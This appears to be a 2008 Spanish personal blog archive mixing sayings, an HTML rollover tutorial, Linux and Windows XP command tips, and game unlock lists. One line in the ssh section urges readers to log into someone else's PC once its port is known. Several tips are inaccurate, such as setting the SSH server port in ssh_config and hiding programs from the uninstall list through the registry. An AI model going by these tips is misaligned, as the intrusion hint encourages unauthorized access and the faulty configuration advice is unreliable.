Se muestran los artículos pertenecientes a Febrero de 2008.
01/02/2008
Ronda 11
-Empieza cada día con una sonrisa y mantenla todo el día.
-Un experto es un hombre que ha dejado de pensar: sabe.
-Cuando alguien asume un cargo público debe considerarse a sí mismo como propiedad pública.
-¿Cuál es el mejor gobierno? El que nos enseña a gobernarnos a nosotros mismos.
-Las maldiciones no deben ir nunca más allá de los labios que las profieren.
-No busques la felicidad fuera de ti mismo.
-Dad al hombre salud y metas a alcanzar y no se detendrá a pensar sobre si es o no feliz.
-Ningún hombre es lo bastante bueno para gobernar a otro sin su consentimiento.
-El universo no fue hecho a medida del hombre, sino el hombre a medida del mundo que le rodea.
-Entre dos explicaciones, elige la más clara; entre dos formas, la más elemental; entre dos expresiones, la más breve.
-La vida sería imposible si todo se recordase. El secreto está en saber elegir lo que debe olvidarse.
-La vida exige a todo individuo una contribución y depende del individuo descubrir en qué consiste.
-Mi corazón esta cerrado y solo tu tienes la llave... ¿Lo abres?
-Cuando estoy sin ti nada existe en mi corazón.
-Aunque la mona se vista de seda, mona se queda.
-Si otro nombre damos a la rosa, con otro nombre nos dará su aroma.
-Si una aguja cae en el bosque, un águila la vera, un ciervo la oirá, y un oso la olerá.
-Más vale pájaro en mano que ciento volando, a menos que sea un buitre claro...
-Te voy a hacer un polvorón cuando llegue a casa que ya veras...
-¿Acaso mi vida puede ser efecto de mi imaginación, o de la imaginación de otro ente?
-La violencia cuando hay alternativa es inmoral, cuando es inevitable es supervivencia.
-Cuando solo escuchas el latido de tu corazón, encontraras en su ritmo y el silencio la razón.
-A siete años de un suceso, el suceso ya no es el mismo.
-No nos gustan las guerras, incluso cuando las ganamos.
-No hay verdadero amor donde hay alguna sospecha.
-No me di cuenta de que realmente era alcohólico hasta desayunar mojando las magdalenas en vodka.
-No hay amor, solo pruebas de amor.
-No hay pruebas de amor, solo amor.
-Con paciencia y saliva el elefante se la metió a la hormiga.
-La curiosidad mato al gato.
-No me importa lo que pase en tus pantalones mientras no salga de ellos.
-Las personas quieren creer.
-No podemos dar la espalda a la naturaleza o ella nos la dará a nosotros.
-La conciencia es solo la voz de los muertos intentando salvarnos de nuestra propia condenación.
-La religión divide a la gente, creer en algo la une.
-Si las miradas matasen no habría bastantes tierras para enterrar.
-Lo mejor de una fantasía es la posibilidad de que se haga realidad, si se pierde...
-De entre todas las rosas tu eres la más hermosa.
-Igual que el fuego es el origen de la luz, el amor lo es de la vida.
-Tras ser decepcionado por cien personas, aun puedes creer a una ciento uno.
-No importa lo alta que sea la montaña, nunca tapara al sol.
04/02/2008
Menu con imagenes cambiantes con javascript
Se puede hacer de muchas maneras, pero yo usare un script tal que éste:
<script language="JavaScript">
<!--
imagen1=new Image
imagen1.src="1.jpg"
imagen2=new Image
imagen2.src="2.jpg"
-->
</script>
Básicamente llama a dos imágenes.
Y usaré también una tabla con enlaces, y las imágenes:
<table>
<tr>
<td><a href="http://angelm.blogia.com/" onMouseOver="document.a.src=imagen2.src" onMouseOut="document.a.src=imagen1.src">Mi Blog</a></td>
<td><img src="1.jpg" name="a" onMouseOver="document.a.src=imagen2.src" onMouseOut="document.a.src=imagen1.src"/></td>
</tr>
<tr>
<td><a href="http://guerrerosdelaverno.mundoforo.com/index.php" onMouseOver="document.b.src=imagen2.src" onMouseOut="document.b.src=imagen1.src">Mi Foro</a></td>
<td><img src="1.jpg" name="b" onMouseOver="document.b.src=imagen2.src" onMouseOut="document.b.src=imagen1.src"/></td>
</tr>
<tr>
<td><a href="http://www.fotolog.com/angelmmc" onMouseOver="document.c.src=imagen2.src" onMouseOut="document.c.src=imagen1.src">Mi Fotolog</a></td>
<td><img src="1.jpg" name="c" onMouseOver="document.c.src=imagen2.src" onMouseOut="document.c.src=imagen1.src"/></td>
</tr>
</table>
Por supuesto podéis cambiar los enlaces y poner los que queráis.... poned en las imagenes el nombre de vuestras fotos, y con éste código el efecto resultante es que al pasar el ratón tanto por el enlace, como por la foto, ésta cambia, y al quitar el ratón de encima, vuelve a ser la imagen de antes.
Para que funcione hay que poner onMouseOver y onMouseOut en el enlace y la imagen,
y cada evento debe llamarse de manera diferente(aquí uso a, b, c).
Los enlaces no necesitan nombre, pero las imágenes si.
tr son filas, td son las columnas de la tabla.
Si solo colocas onMouseOver la imagen cambia al poner el ratón encima, pero no vuelve a su original.No creo que haya muchas dudas más, pero si las hay solo tenéis que preguntar ^^
05/02/2008
Comandos basicos
La tecla Tabulador sirve para autocompletar nombres de archivos y directorios.
sudo bash
modo administrador
sudo (tarea)
administras esa tarea
man comando
Muestra ayuda sobre el comando especificado
passwd nombreusuario
Cambia la contraseña al usuario especificado
Who
muestra informacion de los usuarios conectados al equipo
clear
borra la pantaya del terminal
cp nombrefichero carpetadestino
copia uno o varios ficheros a la carpeta especificada
mv nombrecarpeta carpetadestino
mueve una carpeta/fichero al destino especificado, también renombra
rm nombrefichero
Borrar el fichero especificado
rm -f: no pide confirmación al eliminar.
rm -r: elimina recursivamente carpetas y subcarpetas y su contenido.
rm -v: muestra el nombre de los ficheros y carpetas que va eliminando.
cd nombredirectorio
Cambia del directorio actual al directorio especificado
mkdir nombredirectorio
Crea un directorio
ifconfig
Muestra la IP del pc y la configuración de red
ping host
Realiza ping entre pcs
ls -l
Lista los ficheros y directorios de la ubicación actual
vi fich
abre el editor vi del archivo.
at [-lr] hora [fecha]
Ejecuta un comando mas tarde
ls -la
Lista los ficheros y directorios (incluyendo ocultos)de la ubicación actual
which (programa)
Te dice la ruta del programa
top
Lista de programas en ejecucion (es como el administrador de tareas de windows), si quieres cerrar una aplicacion haz top, busca la aplicacion y apuntate el numero que aparece, y pulsa "k (numero)".
Ejecutar programas como admin en ventanas sin terminal
No useis gksu para abrir por ejemplo firefox, pero si viene bien para tener un explorador como administrador, o algun editor de texto, o el synaptic...
Por ejemplo recomiendo poner en el escritorio, o menu inicio, un icono con la orden "gksu (navegador)" (por ejemplo: gksu nautilus. Asi podreis mover, borrar, y trabajar con las carpetas del explorador como administradores, pero recordad que sois administradores, y no hagais estropicios, para hacer tonterias usad el explorador sin permisos de administrador.
Se haria de esta manera para ponerlo en el menu inicio: Clicas en la barra con el boton derecho, añadir al panel, lanzador personalizado:
Tipo: Aplicacion
Nombre: gksu nautilus
Comando: gksu nautilus
Comentario: (lo que quieras)
Icono: (el que quieras)
Sudo solo sirve para terminal, no funciona correctamente trabajando con ventanas, y gksu lo contrario. (Puede variar el comando segun version de linux)
Montar/Desmontar dispositivos
En linux, para utilizar un dispositivo como por ejemplo el floppy(disquete), cd-rom, camara digital, pen-drive, alguna partición, o alguna unidad de red compartida, antes hemos de montarlo. Todos los dispositivos los montamos en un directorio, y utilizaremos ese directorio para acceder al dispositivo; una vez montado podemos navegar por el CD, memoria flash, etc, como si se tratara de un directorio cualquiera del sistema linux.
1º Identificando los dispositivos
Antes de empezar, hemos de saber donde están físicamente los dispositivos (sobre todo en el caso de querer montar particiones, un CD, o cualquier dispositivo conectado a un cable IDE). Esto es porque en GNU/Linux se utiliza una nomenclatura que asigna nombres según donde están conectados.
Al dispositivo conectado como master en el IDE primario se le llama hda
Al dispositivo conectado como esclavo en el IDE primario se le llama hdb
Al dispositivo conectado como master en el IDE secundario se le llama hdc
Al dispositivo conectado como esclavo en el IDE secundario se le llama hdd
Si tuvieran más, seguiría de la misma manera, con hde, hdf, ...
Para los dispositivos scsi se usa la nomenclatura sda, sdb, ...
Además, si el dispositivo es un disco duro, las particiones se numeran. Por ejemplo, la primera partición en el disco hda es hda1 la segunda hda2, etc. Los dispositivos se encuentran en el directorio /dev, así que nos referiremos a ellos como: /dev/hda1, /dev/hdc, /dev/sdb, ...
2ºMontando los dispositivos
Se hace con el comando mount; su sintaxis básica es la siguiente:
mount -t (sistema de ficheros) -o (opciones) (dispositivo) (punto de montaje)
Los parámetros más comunes y útiles son:
-Sistema de ficheros:
-- ext2 o ext3 Para particiones Linux que usen ese sistema de ficheros.
-- vfat Para particiones Windows que usen fat32.
-- ntfs Para particiones Windows que usen NTFS. NTFS puede dar cierta incompatibilidad con linux, por lo que es recomendable no escribir en el, (solo leerlo), para lo cual usaríamos la opción ro(explicada debajo).
--iso9660 para CD-roms.
-Opciones de montaje:
-- ro El dispositivo se monta con permisos de solo lectura
-- rw El dispositivo se monta con permisos de lectura/escritura
-- user Cualquier usuario puede montar y desmontar el dispositivo, por defecto solo lo puede hacer root
-- auto El dispositivo se monta automáticamente al iniciar (o cuando usamos la opción -a)
-- defaults Para emplear las opciones predeterminadas: rw, suid, dev, exec, auto, nouser, async.
-- uid=(ID usuario) Para permitir que (aparte de root) el usuario con esa ID pueda montar el dispositivo. (Para saber la ID de un usuario usaremos el comando id (usuario) , si no especificamos dira el ID del usuario actual)
-- gid=(ID grupo) Para permitir que (aparte de root) los usuarios con esa ID de grupo puedan montar el dispositivo. (Para saber la ID de un grupo usaremos el comando id (grupo) )
Las opciones se ponen separadas por comas, ejemplo: -o ro,auto,user
-Dispositivo:
Se refiere al dispositivo que queremos montar, por ejemplo /dev/hda3 si es una partición, /dev/hdc si es un cd-rom, ... Si no sabemos donde tenemos nuestro dispositivo podemos usar (como root) el comando:
# dmesg | grep hd
Y nos saldrá una lista de los dispositivos que tenemos. Sólo tenemos que identificar cuál es el que queremos.
-Punto de montaje:
Es el directorio donde queremos montarlo. Normalmente es un subdirectorio dentro de /mnt . Este directorio debe existir antes de montar el dispositivo. Si no existe podemos crearlo antes con:
mkdir (nombre del directorio)
3ºEjemplos prácticos
Monta la segunda partición del disco primario del primer IDE en el directorio /mnt/linux con permisos de lectura/escritura, asumiendo el sistema de ficehros ext3.
# mount -t ext3 -o rw /dev/hda2 /mnt/linux
Monta una partición fat32 que está en el disco secundario del primer IDE, en el directorio /mnt/windows.
# mount -t vfat -o defaults /dev/hdb1 /mnt/windows
Monta en /mnt/disquet el floppy con permisos de lectura/escritura''.
# mount -t vfat -o rw /dev/floppy /mnt/disquet
Monta un cd-rom (si hdc es el cdrom) en /mnt/cdrom con permisis de lectura y ejecución de binarios.
# mount -t iso9660 -o ro,exec /dev/hdc /mnt/cdrom
Monta un pendrive usb con sistema de ficheros fat32 y con permisos de lectura y escritura.
# mount -t vfat -o rw /dev/sda1 /mnt/pendrive
Desmontar dispositivos
Es muy importante desmontar los dispositivos antes de desconectarlos, porque si no lo hacemos puede que se estropeen los datos del dispositivo. Para ello tenemos el comando umount. Su sintaxis es:
umount (dispositivo)
o bien
umount (punto de montaje)
Por ejemplo para desmontar el CD-Rom usariamos:
# umount /mnt/cdrom
o bien
# umount /dev/hdc
Automatizando el montaje de dispositivos
En GNU/Linux podemos automatizar el montaje de dispositivos, para no tener que hacerlo manualmente cada vez, de una forma muy sencilla, añadiendo las entradas correspondientes al fichero /etc/fstab
En el aranque del sistema, se montan todos los dispositivos que aparecen en este fichero y tienen la opción auto. Cada línea del fichero corresponde a un dispositivo y a cómo va a montarse. Su sintaxis es:
(dispositivo) (punto montaje) (sistema ficheros) (opciones) (dump) (pass)
Todos los parámetros los hemos visto excepto dump y pass. dump se usará para saber qué dispositivos necesitan ser volcados, y pass para determinar el orden en que se chequearán los sistemas de ficheros cuando el sistema arranca. Nosotros dejaremos ambos a 0.
Según la distribución que usemos, ya tendremos más o menos entradas en ese fichero (siempre tendremos una entrada para la partición raíz /). Pero podemos añadir las entradas que necesitemos.
Ejemplos prácticos:
/dev/hda2 /mnt/linux ext3 rw,user,auto 0 0
/dev/hdb1 /mnt/windows vfat defaults,auto 0 0
/dev/floppy /mnt/disquet vfat rw 0 0
/dev/hdc /mnt/cdrom iso9660 ro,user,noauto,exec 0 0
/dev/sda1 /mnt/pendrive vfat rw,user,auto 0 0
Añadiendo estas líneas al fichero /etc/fstab conseguiríamos que se montaran automáticamente al arrancar el sistema los dispositivos que lleven la opción auto.
Además, estamos especificando la información para cada dispositivo, como por ejemplo qué dispositivos puede montar cualquier usuario, etc.
Montarlo de esta forma es posible ya que al montar el dispositivo, el sistema operativo verá que está definido en el fichero /etc/fstab y leerá de ahí las opciones para montarlo. Por lo que podemos abreviar la orden mount. Por eso es interesante definir en él todos los dispositivos que montemos habitualmente, no tan sólo los que se montan automáticamente al iniciar.
Si no tenemos un dispositivo montado aún, pero tiene una entrada definida en el fichero, podemos montarlo de una forma tan simple como:
mount (dispositivo)
o
mount (punto montaje)
Recordad que para la mayoría de estas ordenes debeis ser root:
$sudo bash
Para que solo quien tu quieras pueda usar SUDO
Vereis algunas lineas de uno de estos dos tipo:
(usuario) ALL=(ALL) ALL
%(grupo) ALL=(ALL) ALL
Solo teneis que eliminar todas estas lineas y poner los usuarios y grupos que querais que puedan usar sudo.
Ejemplo: Si en tu pc se puede meter cualquiera y quieres que solo tu y yo tengamos permisos....
Al abrirlo pone por ejemplo:
root ALL=(ALL) ALL
%empresa ALL=(ALL) ALL
%casa ALL=(ALL) ALL
Borrariamos lo anterior y escribiriamos:
tu ALL=(ALL) ALL
yo ALL=(ALL) ALL
Este fichero esta muy protegido, por lo que para cambiarlo deveriamos estar en "sudo bash", y no recomiendo quitarle los permisos a root, por lo que se deveria dejar, y si no quieres que nadie se meta con ese usuario cambiale la contraseña.
Información de ls -l, y como cambiarla
Al introducir "ls -l" en la terminal os aparecera una lista de informacion parecida a esta "- rwx rw- --- 1 asi1-23 asi1 13 2007-03-05 10:47 Otros", aqui os explico que significa cada simbolo, los numeros de la linea de debajo son para ordenar para que sirve cada simbolo del "ls -l":
- rwx rw- --- 1 asi1-23 asi1 13 2007-03-05 10:47 Otros
1 222 333 444 5 666666 777 88 99999999999999 00000
1-Indica si es:
- Archivo regular
d Directorio
l Enlace simbolico(acceso directo)
234-Permisos: 2:Usuario,3:Grupo de usuarios,4:Otros
- Sin Permiso
r Lectura
w Escritura
x Ejecutar
5-Numero de enlaces fisicos
6-Usuario propietario
7-Grupo porpietario
8-Tamaño de archivo
9-Fecha y hora
0-Nombre del archivo
Los permisos se cambian con "chmod", y hay varias maneras de usarlo:
Metodo no numerico:
chmod ABC (nombre archivo)
A se cambia por u,g,o, o varias de ellas a la vez, para poner toda se pone a, u=usuario,g=grupo,o=otros,a=ugo
B +,-,= añadir,quitar,igualar
C r,w,x (Permisos de lectura,escritura,ejecucion)
Si el hueco A se deja en blanco se considera que se han puesto ugo si el C se deja en blanco es no poner ningun permiso.
Ejemplo: chmod ug+r Otros
chmod uo-rwx Otros/g/Hola.txt
chmod = Otros
Metodo octal:
chmod 000 (nombre fichero)
Si tiene permiso se pone 1, si no se pone 0, en total salen 9digitos de 0s y 1s, se agrupan de 3 en 3, y se escribe de forma octal.
Ejemplo: rwx r-x r--
111101100
7 5 4
chmod 754 Otros
Cambiar de propietario:
-Usuario propietario: chown (usuario) (archivo o directorio)
-Grupo propietario: chgrp (grupo) (archivo o directorio)
Crear enlaces (accesos directos)
-Fisico: ocupa el mismo espacio que el original, si borras el original sigue funcionando, para crearlo:
ln (origen) (destino)
Ejemplo: ln /home/asi/money /home/asi/Desktop/money
Copiaria el archivo money al escritotio, tambien se le puede cambiar el nombre al destino.
Ejemplo: ln /home/asi/money /home/asi/Desktop/dinero
-Simbolico: ocupa el espacio que ocupe la ruta, si borras el original deja de funcionar, para crearlo:
ln -s (origen) (destino)
Ejemplo: ln -s /home/asi/fotos/Yo /home/asi/Desktop/Otros/Yo
ssh
Para "comunicarte" mediante ssh se introduce en terminal:
ssh -l (usuario) (IP)
Ejemplo: ssh -l Did 123.0.0.1
Hay por ai muchos hackers, pues esto es 1forma de impedir que se metan a tu pc a traves de 1red LAN. Consiste en modificar el puerto de acceso para el ssh, y solo hay que cambiar 1par de renglones en 2ficheros:
etc/ssh/ssh_config
etc/services
Cerca del principio de ssh_config hay 1linea comentada donde dice tal que "#port 22", quizas salga otro numero, pero eso no importa, solo hay que quitarle la "#", y cambiar el numero que salga por otro cualquiera de los que permita los puertos(0a65535); Y en services saldran 2renglones seguidos donde diga "ssh noseq 22), el noseq es diferente segun la version de linux, pero no lo cambieis, en services cambiad solo los dos 22 que salen donde os he dicho por el mismo numero que hayais puesto en ssh_config, y entonces para meterse a tu pc por LAN necesitaran saber ese numero.
Los puertos del 0 al 1023 suelen estar ocupados por otros programas, asique no es recomendado usarlos.
Pero todo tiene su truco... Si descubres el puerto de otro pc y te quieres meter en él prueba esto:
ssh -l (usuario) -p (puerto) (IP)
Ejemplo: ssh -l asi1-17 -p 1010 172.16.14.13
06/02/2008
Deshabilitar creación de nombres MS2
Mi PC -> HKEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> Control -> FileSystem -> NtfsDisable8dot3NameCreation
Dandole a modificar te dejan darle un valor binario, 0 permite crear los nombres, 1 deja de crearlos.
Algunos programas necesitas estos nombres, por lo que no recomiendo hacerlo a menos que sepas lo que haces.
Asistente remoto
Propiedades de sistema -> Remoto -> Habilitar que los usuarios se conecten de manera remota a este equipo.
Propiedades de sistema aparece dandole a Mi PC con el boton derecho del raton y a propiedades.
Asistente remoto:
Ayuda y soporte tecnico -> Invitar a un amigo a conectarse a su equipo con Asistencia remota -> Invitar a alguien para que le ayude -> ...
Despues le dan a elegir entre enviar por msn, email, o guardar un archivo que daras a quien quieras.
Te dejaran crear contraseña(recomendado), decir cuanto tiempo sera ejecutable ese archivo, y pediran tu nombre.
-Ayuda y soporte tecnico aparece en el menu inicio.
-Necesitas otra persona en el otro equipo para que ejecute el archivo, y de permisos(apareceran preguntas que debe contestar que acepta).
-Para finalizar el control remoto basta con que uno de los 2 pulse Esc.
Guardar tu configuración de windows
Inicio -> Todos los programas -> Accesorios -> Herramientas del sistema -> Asistente para transferencia de archivos y configuraciones.
Te dan a seguir unos pasos muy senciyos, que si no entendeis me preguntais lo que hacen.
Carpetas compartidas, privadas, y como anularlo
En la carpeta que quieras seleccionas Propiedades -> Compartir
Y te dan la opcion de:
Convertir esta carpeta en privada.
Compartir esta carpeta en la red.
Si la carpeta se encuentra dentro de otras que ya es privada o compartida entonces estas opciones estaran bloqueadas, pero al final te dira:
Las opciones de esta ficha estan deshabilitadas porque esta carpeta esta en otra carpeta que es privada/compartida.
Con color y todo, si seleccionas la zona azul te mandan a las propiedades de la carpeta que se encuentra compartida o privada.
Anularlo:
Panel de control -> Opciones de Carpeta -> Ver -> Utilizar uso compartido simple de archivos(recomendado)
Lo deshabilitamos(se encuentra al final de ver)
Ahora en las propiedades de las carpetas aparecera una nueva opcion llamada Seguridad, con la que podemos agregar usuarios a la lista de permisos de esa carpeta, y modificar los permisos de cada uno sobre ella.
Usuario administrador
Si alguna vez quisieras registrarte con alguna de estas cuentas deverias ir al login clasico(tipo windows 95 y 98).
Para ello: En la pantaya login pulsa:
Ctrl+Alt+Supr
Te aparecera la pantaya de registro.
La cuenta de administrador de nombre es:
Nombre: administrador
Contraseña: (la que pusieras al instalar windows(si pusiste alguna))
Si no le pusiste contraseña te recomiendo hacerlo...
Convertir todos los ficheros FAT32 a NTFS
Este sistema se puede elegir en el momento de la instalación del propio Windows Xp, pero si ya lo has instalado o lo has actualizado desde Windows 98 o Me y no te has acordado de cambiar de Fat32 a NTFS ahora lo podrás hacer sin necesidad de reinstalar el sistema operativo, ya que Microsoft proporciona una utilidad pensada para realizar esta conversión. Ten en cuenta que convertir una unidad formateada en FAT32 a NTFS es un proceso irreversible. Por ello es recomendable previamente hacer una copia de seguridad de tus archivos más importantes por si la conversión no funcionase correctamente.
Cuando estés preparado debes pulsar el botón Inicio y luego Ejecutar, a continuación escribes cmd y pulsas el botón Aceptar. Entonces se abrirá una ventana MS-DOS, en la que tienes que teclear CD.. y pulsar Intro las veces que sea necesario hasta quedarte en C:> luego escribes esto: convert c: /fs:ntfs (siendo c: la letra de la unidad que quieras convertir). Un mensaje te indicará que no puede realizar la conversión porque el disco está en uso. Pulsa la tecla N y te preguntará si deseas que realice la conversión cuando vuelvas a iniciar el sistema. Ahora pulsa S y al reiniciar el PC la conversión del sistema de archivos se llevará a cabo.
Desbloquear personages "Dragon Ball: Budokai Tenkaichi 3"
Androide 17:
Con Piccolo vence a nº17 en modo historia dragón.
Andoide 18:
Completa Historia Dragón con Krilin.
Babidi:
Derrota a Bu peleando con vegeta en la saga monstruo Bu.
Bardok:
Al comienza de historia dragón, llega a la nave de Raditz y conseguirás al personaje sobre los símbolos de interrogación.
Brolly:
Véncele la segunda vez que juegas con Gokuen vez de luchar con Kid Buu
Capitan Ginyu:
Véncele con Goku en el modo historia dragón.
Celula:
Véncele con Gohan niño en el modo historia dragón.
Cooler:
Tras vencer a Freezer con Goku en la segunda vez que juegues, pelea con Vegeta Super Saiyan y luego aparecerá el punto rojo de Cooler.
Dabura:
En el modo historia véncelo con Gohan
Dr. Gero:
Véncelo con Yamcha en historia dragón.
Freezer:
Véncelo en historia dragón con Goku.
Gogeta (nivel 2):
Vence a Gotenks en el world tournament arena tras vences a Broly en historia dragon.
Gogeta (nivel 4):
En vez de luchar con Kid Buu, busca a Goku ( una vez con la cápsula de nivel 4),. Véncele y conseguirás la fusión máxima de Gogeta.
Gogeta super saiyan:
Derrota a super Li-shin-long con goku en dragon ball gt
Cápsula Gogeta:
Con Goku o Vegeta en vez de luchar con Uub o Brolly, hazlo contra la fusión de Trunks y Goten.
Gohan adulto:
Completa el modo historia dragón con Gohan.
Goku GT:
Derrota a Baby con Goku en la saga dragon ball GT.
Goku gt super sayan:
Derrota a Baby con goku niño en la saga dragon ball gt.
Goku gt super sayan 3:
Derrota a Baby con goku niño en la saga dragon ball gt.
Goku gt super sayan 4:
Derrota a androide 17 con goku sayan 3 en dragon ball gt.
Goten:
Vence a Goten con Gohan en Historia Dragón.
Gotenks:
Comprar la capsula en la tienda
Gran Saiyaman:
Termina el historia dragón con Goku
Kid Buu:
Véncelo en historia dragón con Goku.
Kid goku:
Completa historia dragón con Broly.
Kid Trunks:
Vence a Majin Buu con Vegeta en historia dragón
Majin Buu:
Con goku véncele en historia dragón
Neo Shenron:
Derrotalo con goku gt en la saga dragon ball gt.
Recoome:
Con Goku véncelo en historia dragón.
Super Buu:
Con Goku véncelo en historia dragón.
Teen Gohan:
Con Kid Gohan en historia dragón.
Trunks:
Con Vegeta en historia dragón
Uub:
Vence a Kid Buu usando la bola de energía con Goku
Vegeta:
Véncelo con Goku en historia dragón
Vegeta 2ª forma super sayan:
Derrota a super Yi-shin-long y vegeta en dragón ball gt.
Vegito:
Vence a super Buudentro del cuerpo de Buu en historia dragón, con Vegeta o Goku
Videl:
Encuentrala en la zona Plains en historia dragón con Gohan.
Nail:
Derrota a la fuerza Ginyu peleando con Goku en la saga Freezer. (Super Sayan)
Dr Willow:
Derrota a Willow peleando con goku, piccolo y gohan niñi en la saga especial.
Comandos basicos
También podemos solicitar una ayuda, añadiendo uno de los siguiente parámetros: /? - /h al comando del que deseamos ayuda.
Comandos de Archivos y sistemas de ficheros
cacls - Permite modificar los permisos de lectura y escritura en ficheros y carpetas
chkdsk - Escanea e informa de errores. Si añadimos el parámetro /F: chkdsk /F ademas repara.
cipher - Cifrado de datos en particiones NTFS
comp - Compara archivos o carpetas y muestra las diferencias existentes entre ellos
compact - Compresor de archivos. El parámetro para la compresión es /C, el parámetro para descomprimir es /U
convert - Conversor de particiones, convierte particiones FAT16 o FAT32 en particiones NTFS sin perdida de datos
defrag - Defragmentador de archivos
diskpart - Permite crear, eliminar y administrar particiones. Este programa en modo consola debemos utilizarlo con cuidado puesto que es fácil que eliminemos sin darnos cuenta todo el contenido del disco duro o de la partición activa
find y findstr - Comandos de busqueda de ficheros. findstr permite buscar cadenas de caracteres dentro de los archivos
iexpress - Asistente para crear comprimidos .CAB
openfiles - Muestra a un administrador los archivos abiertos en un sistema y permite desconectarlos si se han abierto a través de red
Comandos de Configuración e información del sistema
bootcfg - Configurador de arranque. Simplemente modfica el archivo boot.ini para indicar opciones de arranque
control userpasswords2 - Permite modificar las claves y los permisos de los diferentes usuarios, así como requerir la pulsación de control+alt+suprimir para poder iniciar sesión, haciendo el inicio de sesión más seguro
driverquery - Crea un informe sobre los dirvers instalados en el sistema. Muestra además información detallada de cada uno
dxdiag - Herramenta de diagnóstico de DirectX
gpresult - Información de las políticas de grupo aplicadas a un usuario
gpupdate - Actualizar las politicas de grupo
pagefileconfig - Configuración de la memoria virtual de Windows
prncnfg - Información sobre las impresoras instaladas
prnjobs - Información sobre los trabajos de impresión en cola
reg - Permite ver y modificar valores del registro de Windows. Opciones posibles:
reg query: consulta en el registro
reg add: añadir entrada
reg delete: eliminar entrada
reg copy: copiar clave en otro lugar del registro
reg save: guardar parte del registro
reg restore: restaura el registro
reg load: cargar valor o clave desde un archivo .reg
reg unload: descargar valor o clave
reg compare: comparar valores de registro
reg export: exportar registro a un archivo
reg import: importar registro a un archivo
sc - Administrador de servicios, podemos detenerlos, ejecutarlos, etc
systeminfo - Muestra información sobre nuestro equipo y nuestro sistema operativo: número de procesadores, tipo de sistema, actualizaciones instaladas, etc
taskkill - Permite matar procesos conociendo su nombre o su numero de proceso (PID)
Tasklist - Informe sobre los procesos ejecutados en el sistema
Comandos de Redes
arp - Muestra y permite modificar las tablas del protocolo ARP, encargado de convertir las direcciones IP de cada ordenador en direcciones MAC (dirección física única de cada tarjeta de red)
ftp - Cliente FTP en modo consola de comandos
getmac - Muestra las direcciones MAC de los adaptadores de red que tengamos instalados en el sistema
ipconfig - Muestra y permite renovar la configuración de todos los interfaces de red
nbtstat - Muestra las estadísticas y las conexiones actuales del protocolo NetBIOS sobre TCP/IP, los recursos compartidos y los recursos que son accesibles
net - Permite administrar usuarios, carpetas compartidas, servicios, etc. Para un listado completo de todas las opciones, escribir net sin ningún argumento. Para obtener ayuda sobre alguna opción en concreto, escribier net help opción
netsh - Programa en modo consola permite ver, modificar y diagnosticar la configuración de la red
netstat - Información sobre las conexiones de red de nuestro equipo
nslookup - Aplicación de red orientada a obtener información en los servidores DNS sobre un host en concreto
pathping - Muestra la ruta que sigue cada paquete para llegar a una IP determinada, el tiempo de respuesta de cada uno de los nodos por los que pasa y las estadísticas de cada uno de ellos
ping - Comando para comprobar si una máquina está en red o no
rasdial - Permite establecer o finalizar una conexión telefónica
route - Permite ver o modificar las tablas de enrutamiento de red
tracert - Informa sobre el camino que siguen los paquetes IP desde que sale de nuestra máquina hasta que llega a su destino
Comandos de Microsoft Management Console (MMC)
Los siguientes comandos no son más que los accesos a cada sección de la MMC, que lanzarán una interfaz gráfica.
ciadv.msc - Permite configurar el servicio de indexado, que acelera las búsquedas en el disco duro
compmgmt.msc - Da acceso a la Administración de equipos, desde donde podemos configurar nuestro ordenador y acceder a otras partes de la MMC
devmgmt.msc - Administrador de dispositivos
dfrg.msc - Defragmentador de disco
diskmgmt.msc - Administrador de discos
fsmgmt.msc - Monitorización y Administración de los recursos compartidos
gpedit.msc - Políticas de grupo
lusrmgr.msc - Administración de usuarios
ntmsmgr.msc - Administración de dispositivos de almacenamiento extraibles
ntmsoprq.msc - Monitorización de las solicitudes de operador de medios extraibles
perfmon.msc - Monitor de sistema
secpol.msc - Configuración de seguridad local
services.msc - Administrador de servicios
wmimgmt.msc - Administador de WMI
Comandos de otras cosas
at - Permite programar tareas para que nuestro ordenador las ejecute en una fecha o en un momento determinado
logoff - Comando para cerrar sesiones, incluso en equpos remotos
msg - Envía mensajes por la red a otros equipos
msiexec - Comando para ejecutar archivos de instalación .MSI
runas - Ejecución de programas como si fueras otro usuario
shctasks - Administrador de tareas programadas
shutdown - Comando para apagar, reiniciar el equipo. Es especialmente útil si hemos sido infectado con el virus Blaster o una de sus variantes para cancelar la cuenta atrás. Para ello, tan sólo tendremos que utilizar la sintaxis shutdown -a
Evitar programas en Inicio -> Documentos recientes
Esta zona está dividida en dos partes. la superior son programas fijos, que siempre aparecen. Si queremos que alguno esté siempre disponible, no tenemos más que arrastrarlo a esta zona. Para quitarlos, pulsamos el botón derecho, y seleccionamos la opción Quitar de esta lista.
Para eliminar un elemento de la lista inferior (recientes) es más complicado, y es necesario editar el registro. Para ello, entramos en el regedit y vamos al nodo HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/ Windows/CurrentVersion/Explorer/FileAssociation y en la lista de valores que aparece hacemos doble click sobre AddRemoveApps.
Allí aparecerá una lista de ejecutables, separados por punto y coma, en la que al final deberemos añadir (separado por punto y coma también) el ejecutable que deseemos que no aparezca.
Para que no aparezca en Agregar/Quitar programas
Haz lo siguiente:
Desde el botón Inicio, seleccionar: Ejecutar
Escribir: REGEDIT y pulsar: Aceptar
Buscar, dentro del árbol de directorios que aparecen, la siguiente referencia:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrrentVersionUninstall
En la parte derecha aparecen los programas que se puede eliminar desde "Agregar y quitar programas"
Si no quieres desintalar alguno, basta con borrarlo.
Ejecutar programas más rapido con XP
Primero de todo seguiremos esta ruta, Inicio/Ejecutar y escribiremos “regedit”.
Buscaremos por el registro de Windows Xp lo siguiente:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management
Entraremos en este registro y buscaremos la entrada DisablePagingExecutive en la que haremos doble click y cambiaremos el valor 0 a 1 y pondremos aceptar. Reiniciaremos Windows Xp y notaremos como Windows rinde mejor.
Acelerar recuperación del sistema tras errores criticos
El inicio también será bastante más lento y pesado de lo habitual. Para solucionar eso, y de paso arreglar algún problema que podamos tener en el inicio, nos vamos a:
Mi PC > Propiedades > Opciones Avanzadas > Inicio y recuperación
Una vez estemos allí, se nos ofrecerán varios tipos de opciones. Por ejemplo en Opciones de inicio podemos marcar el Sistema Operativo que queramos para que se inicie automáticamente (si tenemos más de uno), y podemos desmarcar las dos casillas de justo debajo para evitar que aparezca una pantalla de selección de Sistema Operativo.
